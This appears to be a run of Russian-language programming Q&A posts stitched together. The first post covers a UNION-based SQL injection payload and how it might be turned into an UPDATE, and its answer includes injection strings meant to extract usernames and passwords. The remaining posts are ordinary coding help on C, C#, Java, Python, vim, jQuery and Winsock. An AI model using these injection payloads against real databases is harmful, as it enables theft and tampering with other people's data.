SELECT * FROM `table` WHERE (SUBSTRING(row,1,6)) = 'blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT CONCAT(0x71786a6b71,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x71626a7671) FROM base.table LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#' LIMIT 100
Требуется написать подобный запрос для изменения данных в БД. Пример:
Update table SET row="";
И вывожу SQL запрос без Injection
SELECT * FROM `blabla` WHERE (SUBSTRING(row,1,6)) = ''(Код injection)# LIMIT 100
Каким образом можно изменить данные в этом случае, вообще это возможно или нет, так как я пытался по разному изменять запрос но в ответ все время получал ошибку синтаксиса либо другие ошибки.


Ответ

Для начала разберем, что происходит при выполнении данного кода. Первая часть запроса (до union) выбирает некие данные на сайте/веб-приложении и, по всей видимости, выводит их на экран. Судя по второй части приведенного SQL-запроса (сама инъекция), данные первого запроса, отображаемые на странице, находятся в поле под номеров 18 - на это указывает конкатенация в скули из таблицы table - некие данные из 13 (limit 12, 1) строки этой таблицы лепятся в одну строку и выводятся на экран как раз в позиции под номером 18. Перейдем к оператору union. Данный оператор используется для объединения результатов работы нескольких команд select (выборки данных) в один набор результатов. Обязательное условие для его выполнения - совпадение количества столбцов в каждом select, примерно так:
select 1, 2, 3 from base.table union select null, null, null from base.table
Отсюда такое нелепое количество столбцов в скули - нулами "добиваются" столбцы, чтобы select сработал.
Теперь непосредственно к проблеме - каким же образом можно изменить данные и можно ли вообще.
Насколько я знаю, MySQL не позволяет производить update данных в подзапросах, следовательно, через приведенную скуль изменить данные в базе не представляется возможным. Второй момент - наличие возможности запросить произвольные данные через скуль не дает никаких гарантий того, что злоумышленник имеет права на запись в БД. Как правило, столь серьезные дыры в безопасности встречаются весьма редко. Тут очень велика вероятность, что сама по себе команда на запись/обновление в базе не осуществима, даже при условии, что найдется такой заковыристый синтаксис, в который можно будет вкорячить это самое обновление. Помимо оператора union можно попробовать вариант через or
select * from table where (substring(row, 1, 6)) = 'blabla' or update base.table set row = "" where ...;
Вместо ... необходимо указать условия, если не хотите изменить все строки в таблице. Данный вариант едва ли принесет какой-либо результат - см. пункт 2. Как уже указали выше, можно попробовать воткнуть где-нибудь (либо после скули полностью, либо после рабочего запроса) символ , однако, это вряд ли поможет - символ просто отделяет один запрос от другого. Скорее всего, выполнение двух последовательных запросов в данном случае приведет к ошибке. Ну, и самый, как по мне, логичный вариант - а зачем вообще производить update, если только это не тестовое задание, целью которого является именно обновление строки в таблице? Имея на руках скуль через union и поле для вывода данных на экран всегда можно попытаться выудить нужную инфу из БД, включая данные пользователей с высокими привилегиями, чем-то вроде такого:
select * from `table` where (substring(row, 1, 6)) = 'blabla' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(select user, password from information_schema.users limit 12, 1),18,19,20,21,22,23,24,25,26#' LIMIT 100
Естественно, поля, названия таблиц и схема могут отличаться.

Задачи с моделями памяти

объясните пожалуйста, как решать такие задачи с моделями памяти:
Установлена модель памяти COMPACT. Какой объем памяти будет занимать переменная pd согласно описанию float *pd[5];? Установлена модель памяти MEDIUM. Какой объем памяти будет занимать переменная a согласно описанию char *a[5][2];? Установлена модель памяти SMALL Имеется описание int a[10] = {1, 2, 3, 4, 5}, *p = a+2; Какие из следующих выражений имеют значение 2? (int)p - (int)a; p - a *p - *a; (a[1] + *p) / 2


Ответ

Вот тут приводят вот такую таблицу:

И дано такое пояснение:
в колонке Code - указатели на функции; в колонке Data - указатели на переменные;
Указатели near занимают 2 байта, указатели far - 4 байта.

Теперь, возвращаясь к вашим вопросам. Поскольку у вас нету указателей на функции, то всегда смотрим в колонку Data:
Массив из 5-ти far указателей на float, т.е. 5 * 4 = 20 байт; Двумерный массив из 10-ти near указателей на char, т.е. 10 * 2 = 20 байт; Массив из 10 интов и один near указатель, но размерность указателя на ответ никак не влияет. Правильные ответы: 2, 3, 4.

C# делегаты и анонимные функции

Имеется следующий блок кода :
delegate int StrMod(int a); static void main() { StrMod strmod = delegate{return 10;}; Console.WriteLine(strmod(5)); }
Консоль:
10
Почему на 4 строку компилятор не ругается? Ведь входные параметры анонимной функции не соответствуют параметрам делегата.


Ответ

Вы здесь объявляете делегат с помощью анонимного метода.
StrMod strmod = delegate{return 10;};
Согласно документации об анонимных методах, у анонимного метода допускается опускать список параметров, если они вам не нужны внутри метода(в отличии от лямбд выражений, где список параметров нужно указывать всегда явно). В этом случае, анонимный метод может быть преобразован к делегату с различной сигнатурой.
Anonymous methods enable you to omit the parameter list. This means that an anonymous method can be converted to delegates with a variety of signatures.
Поэтому этот код компилируется успешно.

Что за тип у переменной?

Есть переменная a
struct { short kto; int prichital; char tot; } (*(*(*a)))()()();
Какой размер у переменной и как его расшифровать?


Ответ

Согласно правилу часовой стрелки, а так же сайту cdecl.org, переменная a является:
указателем на указатель на указатель на функцию, возвращающую функцию, возвращающую функцию, возвращающую упомянутую безымянную структуру.
Т.к. в Си запрещено возвращать из функции функцию (а не указатель на неё), то данный код не является валидным
error: 'a' declared as function returning a function
Чтобы он стал валидным, нужно возвращать указатель на функцию, получится так
struct { ... } (*(*(*a)())())();
При этом безымянность структуры накладывает свои ограничения. Указатель объявили, но инициализировать чем-то полезным, чтобы иметь возможность вызвать - проблематично.
Говорить же о размере некоторой сущности, не являющейся валидной с точки зрения языка нельзя вовсе. Ну а после приведения к компилируемому виду можно воспользоваться sizeof

Запуск Java-программы без javac (JDK 11)

Имеется:
JDK 11 и примитивная программа:
public class HelloWorld {
public static void main(String[] args) { System.out.println("Hello, World"); }
}
и применённая к ней команда chmod +x HelloWorld
Необходимо: запустить программу командой ./HelloWorld для печати в терминале:
Hello, World
минуя javac


Ответ

Решение.
Шаг 1: Создаём файл nano HelloWorld
Шаг 2:
#! /usr/local/java/jdk-11-ea18/bin/java --source 11
public class HelloWorld {
public static void main(String[] args) { System.out.println("Hello, World"); }
}
Шаг 3: ctrl+o, ctrl+x
Шаг 4: chmod +x HelloWorld
Шаг 5: ./HelloWorld
Видим, что программа отработала, и напечатала
Hello, World

Как удалить все символы кроме цифр в notepad++?

Как удалить все символы кроме цифр в notepad++? Нужны регулярные выражения?
Пример:
"": ",,-, ,,❤\🎈\ :\ ( ) +380958795928",


Ответ

Да, регулярные выражения нужны.
Из меню выберите:
Поиск | Замена... (или просто Ctrl+H)
Режим поиска: Регуляр. выражен. Найти: \D Заменить на: (пустое - не пишите ничего)
Регулярное выражение \D значит: "всякий символ кроме цифры". Все такие знаки будут заменены пустыми символами, т.е. они исчезнут.

Быстрое комментирование строки

Ищу способ комментировать отдельные строки (однострочные комментарии) в исходных кодах как в визуальном режиме, так и в режиме вставки, при всем этом хотелось бы обойтись простой правкой .vimrc без дополнительных плагинов. Уверен, что это возможно, поэтому прошу указать от чего бы можно было оттолкнуться.


Ответ

В качестве отправной точки можно поступить, например, следующим образом.
function! GetCommentStyleByFileType() let file_name = buffer_name('%') if file_name =~ '\(\.\|_\)vim' return ["\"", ''] elseif file_name =~ '\.\(bat\|cmd\)' return ['::', ''] elseif file_name =~ '\.\(c\|cpp\|cs\|js\|php\)' return ['//', ''] elseif file_name =~ '\.\(ht\|x\)ml$' return [''] elseif file_name =~ '\.\(lua\|sql\)' return ['--', ''] elseif file_name =~ '\.\(vb\|vbs\)' return ["'", ''] endif return ['#', ''] endfunction au BufEnter * let b:comment = GetCommentStyleByFileType() function! CommentLine() let stsymbol = b:comment[0] let endsymbol = b:comment[1] exe ":sil! norm 0i" . stsymbol . "\A" . endsymbol . "\" endfunction function! UnCommentLine() let file_name = buffer_name('%') let stsymbol = b:comment[0] if file_name =~ '\.\(c\|cpp\|cs\|js\|php\)' let stsymbol = '\/\/' endif let endsymbol = b:comment[1] exe ":sil! norm :s/^\s*" . stsymbol . "//\" exe ":sil! norm :s/\s*" . endsymbol . "\s*$//\" endfunction exe "set =\ec" nnoremap :call CommentLine() inoremap :call CommentLine()i vmap :call CommentLine() exe "set =\eu" nnoremap :call UnCommentLine() inoremap :call UnCommentLine()i vmap :call UnCommentLine()
Так, чтобы закомментировать строку нужно нажать Alt+C, чтобы снять комментирование со строки - Alt+U. Можно забиндить на другое сочетание клавиш, использование Alt+некая_клавиша здесь для примера, ровно как и сами функции, - поэкспериментируйте, возможно сделаете нечто удобное и полезное не только для себя.

Групповые селекторы с атрибутами в jQuery

Как обратиться к группе элементов в jQuery в рамках одной функции? Например к ссылке:
a[href^="page-1.html#"]
Вот этот синтаксис не работает у меня:
$('a[href^="page-1.html#"]', 'a[href^="page-2.html#"]').click(function(e) { e.preventDefault(); });


Ответ

У вас запятая между кавычками, а нужно внутри.
$('a[href^="page-1.html#"], a[href^="page-2.html#"]').click(function() { alert('Нажал'); }); Ссылка 1 Ссылка 2

Сортировка потока в обратном направлении

На вход подается текстовая строка. Нужно вернуть слово с наибольшей сумой значений кодов символов. Сортировку нужно выполнить в обратном направлении. Использую метод reversed(), но тогда не могу использовать метод chars(), так как w типа Object. Как правильно осуществить сортировку в обратном порядке?
public static String high(String s) {
return Stream.of(s.split(" ")) .sorted(Comparator.comparingInt(w -> w.chars().sum()).reversed()) .toArray(String[]::new)[0];
}


Ответ

Попробуйте так:
public static String high(String s) {
return Stream.of(s.split(" ")) .sorted(Comparator.comparing(String::chars, Comparator.comparingInt(IntStream::sum)).reversed()) .toArray(String[]::new)[0];
}
Данный метод первым аргументом принимает key extractor, т.е. какие данные нам нужно вытащить для сортировки, а второй аргумент принимает то, КАК мы будем сортировать. Ну то есть все просто, вытащили IntStream чаров и отсортировали по их сумме

Перезапись строки с помощью другой строки, используя цикл for: TypeError: 'str' object does not support item assignment

Необходимо перезаписать строку используя ключ. В одном из вопросов находил решение по перезаписи необходимой строки, однако и такой метод выдает ошибку.
Как я мог бы, используя Питон, перезаписать строку 'splaintext' с помощью 'key'?
key является аргументом командной строки - argv[1] (строка) splaintext - строка, вводимая пользователем
В итоге, если:
splaintext` = 'hello' key = 'abc'
результатом будет: 'abcab'
Код:
for i in range(len(splaintext)): for j in range(len(key)): if i == len(splaintext): break else: while True: symbol = key[j] splaintext[i] = splaintext[:i] + symbol + splaintext[i+1:] i = i + 1 j = j + 1 if j == len(key): j = 0 elif i == len(splaintext): break
Ошибка:
splaintext[i] = splaintext[:i] + symbol + splaintext[i+1:]
TypeError: 'str' object does not support item assignment


Ответ

Воспользуйтесь itertools.cycle()
from itertools import cycle
cycle_gen = cycle(key)
res = ''.join([next(cycle_gen) for _ in splaintext])
print(res)

Вывод:
abcab

Ошибка при вызове WSAPoll()

Пишу простой UDP сервер под Windows, который принимает сообщения от клиентов. По заданию сокеты должны работать в неблокирующем режиме и обязательно нужно использовать WSAPoll для параллельного обслуживания клиентов. Написал небольшую обертку для сокета:
class _socket { private: SOCKET sock; sockaddr_in addr; public: _socket(int port); _socket(const _socket & other); ~_socket();
SOCKET GetSocket(); bool Generate(); bool Bind(); };
_socket::~_socket() { if (sock != INVALID_SOCKET) { closesocket(sock); } }
_socket::_socket(int port) : sock(INVALID_SOCKET) { memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = htonl(INADDR_ANY); }
_socket::_socket(const _socket & other) { this->sock = other.sock; this->addr = other.addr; }
SOCKET _socket::GetSocket() { return (this->sock); } bool _socket::Generate() { sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { return false; } else { unsigned long mode = 1; return (ioctlsocket(sock, FIONBIO, &mode) != SOCKET_ERROR); } } bool _socket::Bind() { return (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) >= 0); }
Вот так работаю с ним в main (через argv передаю диапазон портов):
int main(int argc, const char *argv[]) { std::vector<_socket> sockets; std::map clients;
if (argc < 3) { return ErrorPrint("Too low arguments"); } if (!Init()) { return ErrorPrint("Error starting WSA"); }
for (int i = atoi(argv[1]); i <= atoi(argv[2]); i++) { _socket s(i); if (!s.Generate()) { return ErrorPrint("Cannot create socket"); } if (!s.Bind()) { return ErrorPrint("Cannot bind socket"); } sockets.push_back(s); }
WSAPOLLFD *pfd = (WSAPOLLFD*)malloc(sockets.size() * sizeof(WSAPOLLFD));
for (int i = 0; i < sockets.size(); i++) { pfd[i].fd = sockets[i].GetSocket(); pfd[i].events = POLLIN | POLLOUT; pfd[i].revents = 0; }
while (true) { int ev_cnt = WSAPoll(pfd, sockets.size(), 1000); if (ev_cnt > 0) { for (int i = 0; i < sockets.size(); i++) { if (pfd[i].revents & POLLERR) {
} if (pfd[i].revents & POLLIN) {
} if (pfd[i].revents & POLLOUT) {
} } } else if (ev_cnt == SOCKET_ERROR) { std::cout << "Error WSAPoll: " << WSAGetLastError() << std::endl; // Постоянно попадаю сюда } else { std::cout << "waiting..." << std::endl; } }
return (EXIT_SUCCESS); }
При вызове WSAPoll постоянно получаю ошибку WSAENOTSOCK (10038), которая говорит мне, что я пытаюсь выполнить операцию, предназначенную для сокета на чем-то, что им не является. Прочитал спецификации к WSAPoll - вроде все делаю правильно, никак не могу понять, что сделал не так.


Ответ

У вас реализован конструктор копирования после выполнения которого в двух экземплярах класса будет хранится один и тот же дескриптор сокета. После разрушения одного из экземпляров второй останется с невалидным дескриптором. Следовало реализовать конструктор перемещения (и перемещающий оператор присваивания):
_socket(const _socket & other) = delete;
_socket(_socket && other) : sock{other.sock} , addr{other.addr} { other.sock = INVALID_SOCKET; ::std::memset(::std::addressof(other.addr), 0, sizeof(other.addr)); }
Сокеты на самом деле можно дублировать используя WSADuplicateSocket, но обычно это не нужно.